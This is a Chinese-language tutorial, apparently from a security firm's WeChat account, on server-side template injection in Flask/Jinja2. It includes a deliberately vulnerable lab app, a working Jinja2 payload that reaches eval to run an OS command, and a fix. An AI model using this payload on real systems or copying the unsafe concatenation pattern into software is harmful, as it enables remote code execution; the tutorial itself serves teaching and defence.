一、定义
SSTI(Server Side Template Injection),即服务端模板注入,它主要利用的是模板引擎将攻击者构造的 payload 在服务端按代码语义解析执行,然后加载在模板文件中(可以是 HTML,也可以是模板可解析的特定后缀),最后渲染到 web 页面上。
二、一些知识点
什么是模板/模板引擎
目前主流的 web 开发主要分为以下两种技术:
1.前后端不分离:
即后端完成路由,用户在浏览器输入一个 url,访问的是后端路由(服务端响应),后端接收请求后,再将数据通过模板引擎解析再渲染成视图返回给前端。后端路由由后端渲染数据再返回视图给前端,前端只负责展示视图,所有的交互都在后台。
2.前后端分离:
前端使用 JavaScript 框架(如jquery,vue,react,angular),前端项目化;后端去掉所有的视图,只提供 api 接口,用户在浏览器访问的路由为前端路由(也称为 Hash 路由,由前端响应),只加载前端视图,数据只通过 ajax 获取,前端获取数据之后再渲染到视图。前端负责控制路由,展示视图,后端只负责提供 api,用户和视图交互,视图上的按钮以及页面数据和后端 api 交互。
模板可以理解为一段固定好格式,等着你来填充信息的文件。通过这种方法,可以做到逻辑与视图分离,更容易、清楚且相对安全地编写前后端不同的逻辑。作为对比,一个很不好的解决方法是用脚本语言的字符串拼接 html,然后统一输出。
模板引擎是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的文档,就是将模板文件和数据通过模板引擎生成一个 HTML 代码。
流程如下图所示:
视图(view):
<!--login.tpl-->
<html>
<head>
<title>{{title}}</title>
</head>
<body>
<form method="{{method}}",action={{action}}>
<input type="text" name="user" value="{{username}}">
</form>
<p>
This page took {{microtime(true) - time}} seconds to render.
</p>
</body>
</html>
*左右滑动查看更多
后端逻辑(Controller):
后端将数据绑定绑定好交给模板引擎解析,完成前端页面的渲染。
$templateEngine = new TemplateEngine();
$tpl = $templateEngine->loadFile(login.tpl);
$tpl->assign('title','Login');
$tpl->assign('method','post');
$tpl->assign('action','login.php');
$tpl->assign('username',getUserNameFromCookie());
$tpl->assign('time',microtime(true));
$tmp->show();
*左右滑动查看更多
三、模板注入基本原理
通过模板,Web 应用可以把输入经过模板解析转换成特定字符显示在 HTML 文件,这里以一个简单的例子来说明,如下,将客户端传来的 name 经过模板解析,然后将渲染好的值返回给前端
靶场环境
这里选择 python3 + flask + jinja2 作为靶场环境。
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
*左右滑动查看更多
正常请求如下,服务端解析字符之后,就和前面的Hello拼接起来,然后呈现给前端:
那么如果利用模板语法呢(这里只针对 jinja2 做测试)?
{{7*7}}
我们可以调试看一下,在调用 gensrate 之前,source 在经过上一层 parse 函数解析之后,已经将需要渲染的内容变成了:
Template(body=[Output(nodes=[TemplateData(data='Hello '), Mul(left=Const(value=7), right=Const(value=7))])])
*左右滑动查看更多
继续单步向下,可以看到模板引擎已经将其解析成代码了。
这个调试有点复杂,在生成代码之后,然后再代码执行(代码执行的函数为 from_code)。
那么只需要根据模板语法来构造 payload 就可以完成代码执行了,但是也并不是任意代码执行的,需要满足引擎渲染的表达式,来构造代码。
四、模板用法
{{ ... }}:
装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉。
{% ... %}:
装载一个控制语句。
{# ... #}:
装载一个注释,模板渲染的时候会忽视这中间的值
*左右滑动查看更多
变量
在模板中添加变量,可以使用(set)语句:
{% set name='xx' %}
创建一个内部的作用域
with 语句来创建一个内部的作用域,将 set 语句放在其中,这样创建的变量只在 with 代码块中才有效。
{% with gg = 42 %}
{{ gg }}
{% endwith %}
if 语句:
{% if 1==1 %}
{{ 7*7 }}
{%else%}
{{ 8*8 }}
{% endif %}
for 循环:
{% for c in ['1','2','3'] %}
{{c}}
{%endfor%}
五、利用方法
Flask 使用 Jinja2 这个渲染引擎,结合 python 代码来看,主要是通过 Python 对象的继承,用魔术方法一步步找到可利用的方法去执行。即找到父类<type ‘object’>–> 寻找子类–> 找关于命令执行或者文件操作的模块。
对象的魔术方法:
__class__ 返回示例所属的类
__mro__ 返回一个类所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回一个类所继承的基类
# __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
*左右滑动查看更多
payload
%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D
paylaod 分析
使用 for 表达式来获取 eval 函数(只针对 flask),使用 eval 函数加载恶意执行代码:
for c in [].__class__.__base__.__subclasses__():
if c.__name__ == 'catch_warnings':
for b in c.__init__.__globals__.values():
if b.__class__ == {}.__class__:
if 'eval' in b.keys():
print(b['eval']('__import__("os").popen("id").read()'))
*左右滑动查看更多
以上代码改写为模板语法如下:满足模板语法,通过寻找 list 的基类中可用的引用列表,当其满足是字典的时候,存在 eval 方法,直接执行代码:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
*左右滑动查看更多
六、修复建议
将index()函数修改为如下代码,即可有效防范注入漏洞。
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello {{n}}")
return t.render(n=name)
*左右滑动查看更多
此外,使用WAF类产品也可防范此类攻击。
其他环境:
vulhub
https://vulhub.org/#/environments/flask/ssti/
burp 官方靶场
https://portswigger.net/web-security/all-labs
*左右滑动查看更多
参考文章及推荐阅读:
https://blog.csdn.net/qq_43431158/article/details/105322894
https://blog.csdn.net/u011377996/article/details/86776181
https://portswigger.net/web-security/server-side-template-injection
https://vulhub.org/#/environments/flask/ssti/
https://blog.csdn.net/new_abc/article/details/48091721
https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf
*左右滑动查看更多
— 往期回顾 —
原文始发于微信公众号(安恒信息安全服务):九维团队-绿队(改进)| SSTI注入分析